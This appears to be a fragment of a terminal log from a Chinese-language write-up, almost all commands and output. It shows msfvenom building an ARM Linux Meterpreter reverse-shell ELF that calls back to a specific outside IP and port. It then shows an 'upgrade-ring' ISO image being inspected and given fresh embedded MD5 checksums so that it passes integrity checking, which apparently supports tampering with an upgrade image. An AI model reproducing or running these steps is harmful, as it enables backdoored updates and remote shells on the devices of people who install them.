$ msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=206.189.68.130 LPORT=54444 -f elf -o linux_armle.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: armle from the payload No encoder or badchars specified, outputting raw payload Payload size: 260 bytes Final size of elf file: 344 bytes Saved as: linux_armle.elf
$ isoinfo -d -i upgrade-ring.raw.iso CD-ROM is in ISO 9660 format System id: LINUX Volume id: CDROM Volume set id: Publisher id: Data preparer id: Application id: GENISOIMAGE ISO 9660/HFS FILESYSTEM CREATOR (C) 1993 E.YOUNGDALE (C) 1997-2006 J.PEARSON/J.SCHILLING (C) 2006-2007 CDRKIT TEAM Copyright File id: Abstract File id: Bibliographic File id: Volume set size is: 1 Volume set sequence number is: 1 Logical block size is: 2048 Volume size is: 488066 Joliet with UCS level 3 found Rock Ridge signatures version 1 found
$ implantisomd5 upgrade-ring.iso Inserting md5sum into iso image... md5 = e1914b1bf902a63244e3bb810823e6b2 Inserting fragment md5sums into iso image... fragmd5 = 5126d7bcb6459898d56ca8822c5e7bdd45b15d5a9ed6c1f7351a55d18ae8 frags = 20 Setting supported flag to 0
最后校验合法性
1 2 3 4 5 6 7 8 9 10 11
$ checkisomd5 upgrade-ring.iso upgrade-ring.raw.iso: e1914b1bf902a63244e3bb810823e6b2 Fragment sums: 5126d7bcb6459898d56ca8822c5e7bdd45b15d5a9ed6c1f7351a55d18ae8 Fragment count: 20 Supported ISO: no Press [Esc] to abort check. Checking: 100.0%